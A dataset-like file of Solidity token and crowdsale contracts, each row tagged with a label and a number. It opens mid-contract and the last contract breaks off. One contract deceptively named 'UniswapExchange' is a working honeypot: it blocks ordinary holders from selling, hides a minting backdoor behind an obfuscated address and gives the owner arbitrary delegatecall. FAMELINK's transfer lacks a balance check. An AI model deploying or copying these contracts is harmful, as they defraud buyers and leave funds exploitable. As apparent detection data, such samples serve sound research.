balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract BlockchainAirToken is MintableToken {
string public constant name = "BlockchainAirToken";
string public constant symbol = "AIR";
uint8 public constant decimals = 18;
}
contract BlockchainAirCrowdsale is CappedCrowdsale, Ownable {
uint256 public reminder;
function BlockchainAirCrowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, uint256 _reminder, uint256 _cap, address _wallet) public
CappedCrowdsale(_cap)
Crowdsale(_startTime, _endTime, _rate, _wallet)
{
reminder = _reminder;
}
function transferTokens(address _to, uint256 _amount) onlyOwner external {
token.mint(_to, _amount);
}
function setCap(uint256 _cap) onlyOwner external {
require(_cap > 0);
cap = _cap;
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate).add(weiAmount.mul(reminder).div(100));
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function createTokenContract() internal returns (MintableToken) {
return new BlockchainAirToken();
}
} | 1 | 3,629 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,422 |
pragma solidity 0.4.18;
contract FAMELINK{
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
function FAMELINK(uint256 initialSupply,address _owned, string tokenName, string tokenSymbol) public{
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[_owned] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function transfer(address _to, uint256 _value) public{
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
} | 1 | 2,554 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant public returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant public returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping (address => uint256) balances;
modifier onlyPayloadSize(uint size) {
if (msg.data.length < size + 4) {
revert();
}
_;
}
function transfer(address _to, uint256 _amount) public onlyPayloadSize(2 * 32) returns (bool) {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function balanceOf(address _addr) public constant returns (uint256) {
return balances[_addr];
}
}
contract AdvancedToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint256)) allowances;
function transferFrom(address _from, address _to, uint256 _amount) public onlyPayloadSize(3 * 32) returns (bool) {
require(allowances[_from][msg.sender] >= _amount && balances[_from] >= _amount);
allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_amount);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool) {
allowances[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function increaseApproval(address _spender, uint256 _amount) public returns (bool) {
allowances[msg.sender][_spender] = allowances[msg.sender][_spender].add(_amount);
Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _amount) public returns (bool) {
require(allowances[msg.sender][_spender] != 0);
if (_amount >= allowances[msg.sender][_spender]) {
allowances[msg.sender][_spender] = 0;
} else {
allowances[msg.sender][_spender] = allowances[msg.sender][_spender].sub(_amount);
Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
}
}
function allowance(address _owner, address _spender) public constant returns (uint256) {
return allowances[_owner][_spender];
}
}
contract MintableToken is AdvancedToken {
bool public mintingFinished;
event TokensMinted(address indexed to, uint256 amount);
event MintingFinished();
function mint(address _to, uint256 _amount) external onlyOwner onlyPayloadSize(2 * 32) returns (bool) {
require(_to != 0x0 && _amount > 0 && !mintingFinished);
balances[_to] = balances[_to].add(_amount);
totalSupply = totalSupply.add(_amount);
Transfer(0x0, _to, _amount);
TokensMinted(_to, _amount);
return true;
}
function finishMinting() external onlyOwner {
require(!mintingFinished);
mintingFinished = true;
MintingFinished();
}
function mintingFinished() public constant returns (bool) {
return mintingFinished;
}
}
contract ACO is MintableToken {
uint8 public decimals;
string public name;
string public symbol;
function ACO() public {
totalSupply = 0;
decimals = 18;
name = "ACO";
symbol = "ACO";
}
}
contract MultiOwnable {
address[2] public owners;
event OwnershipTransferred(address from, address to);
event OwnershipGranted(address to);
function MultiOwnable() public {
owners[0] = 0x1d554c421182a94E2f4cBD833f24682BBe1eeFe8;
owners[1] = 0x0D7a2716466332Fc5a256FF0d20555A44c099453;
}
modifier onlyOwners {
require(msg.sender == owners[0] || msg.sender == owners[1]);
_;
}
function transferOwnership(address _newOwner) public onlyOwners {
require(_newOwner != 0x0 && _newOwner != owners[0] && _newOwner != owners[1]);
if (msg.sender == owners[0]) {
OwnershipTransferred(owners[0], _newOwner);
owners[0] = _newOwner;
} else {
OwnershipTransferred(owners[1], _newOwner);
owners[1] = _newOwner;
}
}
}
contract Crowdsale is Ownable, MultiOwnable {
using SafeMath for uint256;
ACO public ACO_Token;
address public constant MULTI_SIG = 0x3Ee28dA5eFe653402C5192054064F12a42EA709e;
uint256 public rate;
uint256 public tokensSold;
uint256 public startTime;
uint256 public endTime;
uint256 public softCap;
uint256 public hardCap;
uint256[4] public bonusStages;
mapping (address => uint256) investments;
mapping (address => bool) hasAuthorizedWithdrawal;
event TokensPurchased(address indexed by, uint256 amount);
event RefundIssued(address indexed by, uint256 amount);
event FundsWithdrawn(address indexed by, uint256 amount);
event DurationAltered(uint256 newEndTime);
event NewSoftCap(uint256 newSoftCap);
event NewHardCap(uint256 newHardCap);
event NewRateSet(uint256 newRate);
event HardCapReached();
event SoftCapReached();
function Crowdsale() public {
ACO_Token = new ACO();
softCap = 0;
hardCap = 250000000e18;
rate = 4000;
startTime = now;
endTime = startTime.add(365 days);
bonusStages[0] = startTime.add(6 weeks);
for(uint i = 1; i < bonusStages.length; i++) {
bonusStages[i] = bonusStages[i - 1].add(6 weeks);
}
}
function processOffchainPayment(address _beneficiary, uint256 _toMint) public onlyOwners {
require(_beneficiary != 0x0 && now <= endTime && tokensSold.add(_toMint) <= hardCap && _toMint > 0);
if(tokensSold.add(_toMint) == hardCap) { HardCapReached(); }
if(tokensSold.add(_toMint) >= softCap && !isSuccess()) { SoftCapReached(); }
ACO_Token.mint(_beneficiary, _toMint);
tokensSold = tokensSold.add(_toMint);
TokensPurchased(_beneficiary, _toMint);
}
function() public payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
require(_beneficiary != 0x0 && validPurchase() && tokensSold.add(calculateTokensToMint()) <= hardCap);
if(tokensSold.add(calculateTokensToMint()) == hardCap) { HardCapReached(); }
if(tokensSold.add(calculateTokensToMint()) >= softCap && !isSuccess()) { SoftCapReached(); }
uint256 toMint = calculateTokensToMint();
ACO_Token.mint(_beneficiary, toMint);
tokensSold = tokensSold.add(toMint);
investments[_beneficiary] = investments[_beneficiary].add(msg.value);
TokensPurchased(_beneficiary, toMint);
}
function calculateTokensToMint() internal view returns(uint256 toMint) {
toMint = msg.value.mul(getCurrentRateWithBonus());
}
function getCurrentRateWithBonus() public view returns (uint256 rateWithBonus) {
rateWithBonus = (rate.mul(getBonusPercentage()).div(100)).add(rate);
}
function getBonusPercentage() internal view returns (uint256 bonusPercentage) {
uint256 timeStamp = now;
if (timeStamp > bonusStages[3]) {
bonusPercentage = 0;
} else {
bonusPercentage = 25;
for (uint i = 0; i < bonusStages.length; i++) {
if (timeStamp <= bonusStages[i]) {
break;
} else {
bonusPercentage = bonusPercentage.sub(5);
}
}
}
return bonusPercentage;
}
function authorizeWithdrawal() public onlyOwners {
require(hasEnded() && isSuccess() && !hasAuthorizedWithdrawal[msg.sender]);
hasAuthorizedWithdrawal[msg.sender] = true;
if (hasAuthorizedWithdrawal[owners[0]] && hasAuthorizedWithdrawal[owners[1]]) {
FundsWithdrawn(owners[0], this.balance);
MULTI_SIG.transfer(this.balance);
}
}
function issueBounty(address _to, uint256 _toMint) public onlyOwners {
require(_to != 0x0 && _toMint > 0 && tokensSold.add(_toMint) <= hardCap);
ACO_Token.mint(_to, _toMint);
tokensSold = tokensSold.add(_toMint);
}
function finishMinting() public onlyOwners {
require(hasEnded());
ACO_Token.finishMinting();
}
function getRefund(address _addr) public {
if(_addr == 0x0) { _addr = msg.sender; }
require(!isSuccess() && hasEnded() && investments[_addr] > 0);
uint256 toRefund = investments[_addr];
investments[_addr] = 0;
_addr.transfer(toRefund);
RefundIssued(_addr, toRefund);
}
function giveRefund(address _addr) public onlyOwner {
require(_addr != 0x0 && investments[_addr] > 0);
uint256 toRefund = investments[_addr];
investments[_addr] = 0;
_addr.transfer(toRefund);
RefundIssued(_addr, toRefund);
}
function isSuccess() public view returns(bool success) {
success = tokensSold >= softCap;
}
function hasEnded() public view returns(bool ended) {
ended = now > endTime;
}
function investmentOf(address _addr) public view returns(uint256 investment) {
investment = investments[_addr];
}
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function setEndTime(uint256 _numberOfDays) public onlyOwners {
require(_numberOfDays > 0);
endTime = now.add(_numberOfDays * 1 days);
DurationAltered(endTime);
}
function changeSoftCap(uint256 _newSoftCap) public onlyOwners {
require(_newSoftCap > 0);
softCap = _newSoftCap;
NewSoftCap(softCap);
}
function changeHardCap(uint256 _newHardCap) public onlyOwners {
assert(_newHardCap > 0);
hardCap = _newHardCap;
NewHardCap(hardCap);
}
function changeRate(uint256 _newRate) public onlyOwners {
require(_newRate > 0);
rate = _newRate;
NewRateSet(rate);
}
} | 1 | 2,481 |
pragma solidity ^0.4.21;
contract ERC20Interface {
function totalSupply() public constant returns (uint256);
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract EthPyBase {
function buy(address) public payable returns(uint256){}
function withdraw() public {}
function myTokens() public view returns(uint256){}
}
contract Owned {
address public owner;
address public ownerCandidate;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) public onlyOwner {
ownerCandidate = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == ownerCandidate);
owner = ownerCandidate;
}
}
contract EPTest is Owned {
address public twin_contract;
EthPyBase twin;
function addTwinAddress(address twinAddress) public onlyOwner {
require(twinAddress != address(this));
twin_contract = twinAddress;
twin = EthPyBase(twin_contract);
}
uint256 constant scaleFactor = 0x10000000000000000;
int constant crr_n = 1;
int constant crr_d = 2;
int constant price_coeff = -0x296ABF784A358468C;
string constant public name = "EPTest";
string constant public symbol = "EPY";
uint8 constant public decimals = 18;
mapping(address => uint256) public tokenBalance;
mapping(address => int256) public payouts;
uint256 public totalSupply;
int256 totalPayouts;
uint256 earningsPerToken;
uint256 public contractBalance;
function EPTest() public {}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return tokenBalance[_owner];
}
function withdraw() public {
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * scaleFactor);
totalPayouts += (int256) (balance * scaleFactor);
contractBalance = sub(contractBalance, balance);
msg.sender.transfer(balance);
}
function reinvestDividends() public {
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * scaleFactor);
totalPayouts += (int256) (balance * scaleFactor);
uint value_ = (uint) (balance);
if (value_ < 0.000001 ether || value_ > 1000000 ether)
revert();
var sender = msg.sender;
var res = reserve() - balance;
var fee = div(value_, 10);
var numEther = value_ - fee;
var numTokens = calculateDividendTokens(numEther, balance);
var buyerFee = fee * scaleFactor;
if (totalSupply > 0) {
var bonusCoEff =
(scaleFactor - (res + numEther) * numTokens * scaleFactor / (totalSupply + numTokens) / numEther)
* (uint)(crr_d) / (uint)(crr_d-crr_n);
var holderReward = fee * bonusCoEff;
buyerFee -= holderReward;
var rewardPerShare = holderReward / totalSupply;
earningsPerToken += rewardPerShare;
}
totalSupply = add(totalSupply, numTokens);
tokenBalance[sender] = add(tokenBalance[sender], numTokens);
var payoutDiff = (int256) ((earningsPerToken * numTokens) - buyerFee);
payouts[sender] += payoutDiff;
totalPayouts += payoutDiff;
}
function sellMyTokens() public {
var balance = balanceOf(msg.sender);
sell(balance);
}
function getMeOutOfHere() public {
sellMyTokens();
withdraw();
}
function fund() payable public {
if (msg.value > 0.000001 ether) {
buy();
} else {
revert();
}
}
function buyPrice() public constant returns (uint) {
return getTokensForEther(1 finney);
}
function sellPrice() public constant returns (uint) {
var eth = getEtherForTokens(1 finney);
var fee = div(eth, 10);
return eth - fee;
}
function dividends(address _owner) public constant returns (uint256 amount) {
return (uint256) ((int256)(earningsPerToken * tokenBalance[_owner]) - payouts[_owner]) / scaleFactor;
}
function withdrawOld(address to) public {
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * scaleFactor);
totalPayouts += (int256) (balance * scaleFactor);
contractBalance = sub(contractBalance, balance);
to.transfer(balance);
}
function balance() internal constant returns (uint256 amount) {
return contractBalance - msg.value;
}
function buy() internal {
if (msg.value < 0.000001 ether || msg.value > 1000000 ether)
revert();
var sender = msg.sender;
uint fee = div(msg.value, 20);
uint fee2 = div(msg.value, 20);
var numEther = msg.value - fee - fee2;
var numTokens = getTokensForEther(numEther);
var buyerFee = fee * scaleFactor;
if (totalSupply > 0) {
var bonusCoEff =
(scaleFactor - (reserve() + numEther) * numTokens * scaleFactor / (totalSupply + numTokens) / numEther)
* (uint)(crr_d) / (uint)(crr_d-crr_n);
var holderReward = fee * bonusCoEff;
buyerFee -= holderReward;
var rewardPerShare = holderReward / totalSupply;
earningsPerToken += rewardPerShare;
}
totalSupply = add(totalSupply, numTokens);
tokenBalance[sender] = add(tokenBalance[sender], numTokens);
var payoutDiff = (int256) ((earningsPerToken * numTokens) - buyerFee);
payouts[sender] += payoutDiff;
totalPayouts += payoutDiff;
if( fee2 != 0 ){
twin.buy.value(fee2).gas(1000000)(msg.sender);
}
}
function sell(uint256 amount) internal {
var numEthersBeforeFee = getEtherForTokens(amount);
uint fee = div(numEthersBeforeFee, 20);
uint fee2 = div(numEthersBeforeFee, 20);
var numEthers = numEthersBeforeFee - fee - fee2;
totalSupply = sub(totalSupply, amount);
tokenBalance[msg.sender] = sub(tokenBalance[msg.sender], amount);
var payoutDiff = (int256) (earningsPerToken * amount + (numEthers * scaleFactor));
payouts[msg.sender] -= payoutDiff;
totalPayouts -= payoutDiff;
if (totalSupply > 0) {
var etherFee = fee * scaleFactor;
var rewardPerShare = etherFee / totalSupply;
earningsPerToken = add(earningsPerToken, rewardPerShare);
}
if( fee2 != 0 ){
twin.buy.value(fee2).gas(1000000)(msg.sender);
}
}
function reserve() internal constant returns (uint256 amount) {
return sub(balance(),
((uint256) ((int256) (earningsPerToken * totalSupply) - totalPayouts) / scaleFactor));
}
function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) {
return sub(fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff), totalSupply);
}
function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) {
return sub(fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff), totalSupply);
}
function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) {
var reserveAmount = reserve();
if (tokens == totalSupply)
return reserveAmount;
return sub(reserveAmount, fixedExp((fixedLog(totalSupply - tokens) - price_coeff) * crr_d/crr_n));
}
int256 constant one = 0x10000000000000000;
uint256 constant sqrt2 = 0x16a09e667f3bcc908;
uint256 constant sqrtdot5 = 0x0b504f333f9de6484;
int256 constant ln2 = 0x0b17217f7d1cf79ac;
int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8;
int256 constant c1 = 0x1ffffffffff9dac9b;
int256 constant c3 = 0x0aaaaaaac16877908;
int256 constant c5 = 0x0666664e5e9fa0c99;
int256 constant c7 = 0x049254026a7630acf;
int256 constant c9 = 0x038bd75ed37753d68;
int256 constant c11 = 0x03284a0c14610924f;
function fixedLog(uint256 a) internal pure returns (int256 log) {
int32 scale = 0;
while (a > sqrt2) {
a /= 2;
scale++;
}
while (a <= sqrtdot5) {
a *= 2;
scale--;
}
int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one);
var z = (s*s) / one;
return scale * ln2 +
(s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one))
/one))/one))/one))/one))/one);
}
int256 constant c2 = 0x02aaaaaaaaa015db0;
int256 constant c4 = -0x000b60b60808399d1;
int256 constant c6 = 0x0000455956bccdd06;
int256 constant c8 = -0x000001b893ad04b3a;
function fixedExp(int256 a) internal pure returns (uint256 exp) {
int256 scale = (a + (ln2_64dot5)) / ln2 - 64;
a -= scale*ln2;
int256 z = (a*a) / one;
int256 R = ((int256)(2) * one) +
(z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one);
exp = (uint256) (((R + a) * one) / (R - a));
if (scale >= 0)
exp <<= scale;
else
exp >>= -scale;
return exp;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function () payable public {
if (msg.value > 0) {
fund();
} else {
withdrawOld(msg.sender);
}
}
} | 1 | 3,706 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Ownable {
address public owner;
function Ownable() public {
owner = 0xf42B82D02b8f3E7983b3f7E1000cE28EC3F8C815;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
wallet.transfer(this.balance);
Closed();
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
contract Gryphon is ERC20, Ownable {
using SafeMath for uint256;
RefundVault public vault;
mapping(address => uint256) balances;
mapping(address => uint256) vested;
mapping(address => uint256) total_vested;
mapping (address => mapping (address => uint256)) allowed;
uint256 totalSupply_;
string public name = 'Gryphon';
string public symbol = 'GXC';
uint256 public decimals = 4;
uint256 public initialSupply = 2000000000;
uint256 public start;
uint256 public duration;
uint256 public rateICO = 910000000000000;
uint256 public preSaleMaxCapInWei = 2500 ether;
